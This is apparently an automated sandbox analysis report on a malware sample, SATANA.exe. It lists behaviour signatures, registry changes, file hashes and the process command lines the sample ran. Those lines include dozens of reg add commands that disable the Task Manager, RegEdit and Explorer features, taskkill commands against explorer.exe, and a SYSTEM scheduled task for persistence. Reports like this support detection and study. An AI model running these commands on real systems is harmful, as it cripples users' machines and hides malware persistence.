Analysis Overview
SHA256
2207f4926319896f1d5b1bf2acd6d0cda56dbc47131b5fd21a7d726ba6dfaa2d
Threat Level: Known bad
The file SATANA.exe was found to be: Known bad.
Malicious Activity Summary
Gozi
Disables RegEdit via registry modification
Disables Task Manager via registry modification
UPX packed file
Executes dropped EXE
Writes to the Master Boot Record (MBR)
Adds Run key to start application
Drops file in System32 directory
Unsigned PE
Program crash
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Modifies Internet Explorer settings
Kills process with taskkill
Suspicious behavior: EnumeratesProcesses
Creates scheduled task(s)
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-03-15 21:49
Signatures
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-03-15 21:49
Reported
2024-03-15 21:50
Platform
win11-20240221-en
Max time kernel
24s
Command Line
Signatures
Gozi
Disables RegEdit via registry modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1637591879-962683004-3585269084-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\disableregistrytools = "1" | C:\Windows\system32\reg.exe | N/A |
Disables Task Manager via registry modification
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\68EB.tmp\2.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1637591879-962683004-3585269084-1000\Software\Microsoft\Windows\CurrentVersion\Run\wininit = "C:\\Users\\Admin\\AppData\\Local\\Temp\\68EB.tmp\\2.exe" | C:\Users\Admin\AppData\Local\Temp\68EB.tmp\2.exe | N/A |
Writes to the Master Boot Record (MBR)
| Description | Indicator | Process | Target |
| File opened for modification | \??\PhysicalDrive0 | C:\Users\Admin\AppData\Local\Temp\68EB.tmp\2.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\coreglobconfig.dll | C:\Windows\system32\cmd.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\68EB.tmp\2.exe |
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown | C:\Windows\system32\reg.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN\IExplorer = "0" | C:\Windows\system32\reg.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\68EB.tmp\2.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\68EB.tmp\2.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\68EB.tmp\2.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\68EB.tmp\2.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\68EB.tmp\2.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\68EB.tmp\2.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskkill.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskkill.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskkill.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\68EB.tmp\2.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\SATANA.exe
"C:\Users\Admin\AppData\Local\Temp\SATANA.exe"
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\68EB.tmp\68EC.bat C:\Users\Admin\AppData\Local\Temp\SATANA.exe"
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 67108863 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewOnDrive /t REG_DWORD /d 67108863 /f
C:\Windows\system32\reg.exe
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoSelectDownloadDir" /d 1 /f
C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown" /v "IExplorer" /d 0 /f
C:\Windows\system32\reg.exe
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoFindFiles" /d 1 /f
C:\Windows\system32\reg.exe
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoNavButtons" /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum" /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoNetworkConnections /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v StartmenuLogoff /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoCommonGroups /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFavoritesMenu /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSetFolders /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoAddPrinter /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMHelp /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoChangeStartMenu /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyDocs /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyPictures /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe
reg add "hklm\Software\Microsoft\Windows\CurrentVersion\run" /v SwapNT /t REG_SZ /d rundll32 user32, SwapMouseButton /f
C:\Windows\system32\rundll32.exe
rundll32 user32, SwapMouseButton
C:\Windows\system32\reg.exe
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disableregistrytools /t REG_DWORD /d 1 /f
C:\Windows\system32\taskkill.exe
taskkill /IM explorer.exe /F
C:\Windows\system32\taskkill.exe
taskkill /IM taskmgr.exe /F
C:\Windows\system32\taskkill.exe
taskkill /IM notepad.exe /F
C:\Users\Admin\AppData\Local\Temp\68EB.tmp\2.exe
2.exe
C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /Create /TN wininit /ru SYSTEM /SC ONSTART /TR "C:\Users\Admin\AppData\Local\Temp\68EB.tmp\2.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 5004 -ip 5004
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 544
Network
Files
memory/1612-0-0x0000000000400000-0x0000000000443000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\68EB.tmp\68EC.bat
| MD5 | 1f7a5456ca38839ec9e112425e7fa747 |
| SHA1 | 8019978db5a80de11bb32463aa7160bb4a4d6b8a |
| SHA256 | f955addebe88273b07cd9db9484f6aaaff58bec7f06898f8cdf224fa8b9cecb6 |
| SHA512 | eb57e75f96b7c663af44015e4dca2d6d07d9fed0db609bb6bad790093d0cef69e30ea6bb31093dd505af82a873c7a12f4bfcebe6f68938728d30053fff7c0818 |
C:\Users\Admin\AppData\Local\Temp\68EB.tmp\2.exe
| MD5 | 4bc20c24fbea4588741203c77126c7b3 |
| SHA1 | 5f2d2fec4e1d7c752be551363743069d9a4e7510 |
| SHA256 | 4cd2ce15d0752711a76118fba8046193a1847c85a3278410191c0a015b387be3 |
| SHA512 | 3e508012250ad6115e49b059a7fc103274190be425403df7081aa3e4caf130b9fa685c3228cafb6a031c121acdd95d72c1f5180f42caea55213a7bd9de71b31f |
memory/1612-8-0x0000000000400000-0x0000000000443000-memory.dmp
memory/5004-9-0x0000000000400000-0x000000000043B000-memory.dmp